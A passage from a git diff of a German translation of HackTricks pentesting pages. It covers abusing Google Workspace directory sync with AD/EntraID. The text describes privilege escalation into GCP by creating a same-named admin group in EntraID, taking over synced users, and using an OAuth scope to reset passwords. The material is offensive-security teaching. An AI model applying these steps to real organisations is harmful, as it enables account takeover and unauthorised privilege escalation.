Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope, daher können wir mit dem folgenden Skript die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
<details>
@@ -176,9 +176,9 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
```
https://www.googleapis.com/auth/admin.directory.user
```
Welche dasselbe ist, was Sie erhalten, wenn Sie keinen Geltungsbereich angeben.
Welches dasselbe ist, das Sie erhalten, wenn Sie keinen Geltungsbereich angeben.
> [!CAUTION]
> Mit diesem Geltungsbereich könnten Sie **das Passwort eines bestehenden Benutzers ändern, um Berechtigungen zu eskalieren**.
> Mit diesem Geltungsbereich könnten Sie **das Passwort eines bestehenden Benutzers ändern, um Privilegien zu eskalieren**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
Der Hauptunterschied zwischen dieser Methode zur Synchronisierung von Benutzern mit GCDS besteht darin, dass GCDS manuell mit einigen Binärdateien durchgeführt wird, die Sie herunterladen und ausführen müssen, während **Admin Directory Sync serverlos** von Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) verwaltet wird.
@@ -16,23 +16,23 @@ Sobald es korrekt konfiguriert ist, ermöglichen beide Optionen die **Synchronis
Weitere Optionen, die während dieser Synchronisierung ermöglicht werden, sind:
- Senden Sie eine E-Mail an die neuen Benutzer, um sich anzumelden
- Ändern Sie automatisch ihre E-Mail-Adresse in die von Workspace verwendete. Wenn Workspace also `@hacktricks.xyz` verwendet und EntraID-Benutzer `@carloshacktricks.onmicrosoft.com` verwenden, wird `@hacktricks.xyz` für die im Konto erstellten Benutzer verwendet.
- Ändern Sie automatisch ihre E-Mail-Adresse auf die von Workspace verwendete. Wenn Workspace also `@hacktricks.xyz` verwendet und EntraID-Benutzer `@carloshacktricks.onmicrosoft.com` verwenden, wird `@hacktricks.xyz` für die im Konto erstellten Benutzer verwendet.
- Wählen Sie die **Gruppen aus, die die Benutzer enthalten**, die synchronisiert werden sollen.
- Wählen Sie **Gruppen** aus, die synchronisiert und in Workspace erstellt werden sollen (oder geben Sie an, alle Gruppen zu synchronisieren).
- Wählen Sie **Gruppen** aus, die in Workspace synchronisiert und erstellt werden sollen (oder geben Sie an, alle Gruppen zu synchronisieren).
### Von AD/EntraID -> Google Workspace (& GCP)
Wenn es Ihnen gelingt, ein AD oder EntraID zu kompromittieren, haben Sie die volle Kontrolle über die Benutzer und Gruppen, die mit Google Workspace synchronisiert werden.\
Wenn Sie es schaffen, ein AD oder EntraID zu kompromittieren, haben Sie die volle Kontrolle über die Benutzer und Gruppen, die mit Google Workspace synchronisiert werden.\
Beachten Sie jedoch, dass die **Passwörter**, die die Benutzer möglicherweise in Workspace verwenden, **die gleichen oder unterschiedliche sein könnten**.
#### Angreifen von Benutzern
Wenn die Synchronisierung erfolgt, kann sie **alle Benutzer aus AD oder nur die aus einer bestimmten OU** oder nur die **Benutzer, die Mitglieder bestimmter Gruppen in EntraID sind**, synchronisieren. Das bedeutet, dass Sie, um einen synchronisierten Benutzer anzugreifen (oder einen neuen zu erstellen, der synchronisiert wird), zuerst herausfinden müssen, welche Benutzer synchronisiert werden.
Wenn die Synchronisierung erfolgt, kann sie **alle Benutzer aus AD oder nur die aus einer bestimmten OU** oder nur die **Benutzer, die Mitglieder bestimmter Gruppen in EntraID sind**, synchronisieren. Das bedeutet, dass Sie zuerst herausfinden müssen, welche Benutzer synchronisiert werden, um einen synchronisierten Benutzer anzugreifen (oder einen neuen zu erstellen, der synchronisiert wird).
- Benutzer könnten **das Passwort von AD oder EntraID wiederverwenden oder nicht**, aber das bedeutet, dass Sie die **Passwörter der Benutzer kompromittieren müssen, um sich anzumelden**.
- Wenn Sie Zugriff auf die **E-Mails** der Benutzer haben, könnten Sie **das Workspace-Passwort eines vorhandenen Benutzers ändern** oder **einen neuen Benutzer erstellen**, warten, bis er synchronisiert wird, und das Konto einrichten.
- Wenn Sie Zugriff auf die **E-Mails** der Benutzer haben, könnten Sie das **Workspace-Passwort eines vorhandenen Benutzers ändern** oder **einen neuen Benutzer erstellen**, warten, bis er synchronisiert wird, und das Konto einrichten.
Sobald Sie auf den Benutzer in Workspace zugreifen, könnten ihm standardmäßig einige **Berechtigungen gewährt werden**.
Sobald Sie auf den Benutzer in Workspace zugreifen, könnten ihm einige **Berechtigungen standardmäßig** gewährt werden.
#### Angreifen von Gruppen
@@ -46,11 +46,11 @@ Wenn Sie wissen, welche Gruppen aus Azure **Berechtigungen in Workspace oder GCP
Es gibt eine weitere Möglichkeit, bestehende privilegierte Gruppen in Workspace auszunutzen. Zum Beispiel hat die Gruppe `gcp-organization-admins@<workspace.email>` normalerweise hohe Berechtigungen über GCP.
Wenn die Synchronisierung von beispielsweise EntraID zu Workspace **so konfiguriert ist, dass die Domain** des importierten Objekts **mit der E-Mail von Workspace ersetzt wird**, wird es einem Angreifer möglich sein, die Gruppe `gcp-organization-admins@<entraid.email>` in EntraID zu erstellen, einen Benutzer in dieser Gruppe hinzuzufügen und zu warten, bis die Synchronisierung aller Gruppen erfolgt.\
**Der Benutzer wird der Gruppe `gcp-organization-admins@<workspace.email>` hinzugefügt, wodurch die Berechtigungen in GCP eskaliert werden.**
**Der Benutzer wird in die Gruppe `gcp-organization-admins@<workspace.email>` hinzugefügt, wodurch die Berechtigungen in GCP eskaliert werden.**
### Von Google Workspace -> AD/EntraID
Beachten Sie, dass Workspace Anmeldeinformationen mit nur Lesezugriff auf AD oder EntraID benötigt, um Benutzer und Gruppen zu synchronisieren. Daher ist es nicht möglich, Google Workspace auszunutzen, um Änderungen in AD oder EntraID vorzunehmen. Daher **ist dies im Moment nicht möglich**.
Beachten Sie, dass Workspace Anmeldeinformationen mit nur Lesezugriff auf AD oder EntraID benötigt, um Benutzer und Gruppen zu synchronisieren. Daher ist es nicht möglich, Google Workspace auszunutzen, um Änderungen in AD oder EntraID vorzunehmen. **Das ist derzeit nicht möglich.**
Ich weiß auch nicht, wo Google die AD-Anmeldeinformationen oder das EntraID-Token speichert, und Sie **können sie nicht wiederherstellen, indem Sie die Synchronisierung neu konfigurieren** (sie erscheinen nicht im Webformular, Sie müssen sie erneut angeben). Es könnte jedoch möglich sein, die aktuelle Funktionalität über das Web auszunutzen, um **Benutzer und Gruppen aufzulisten**.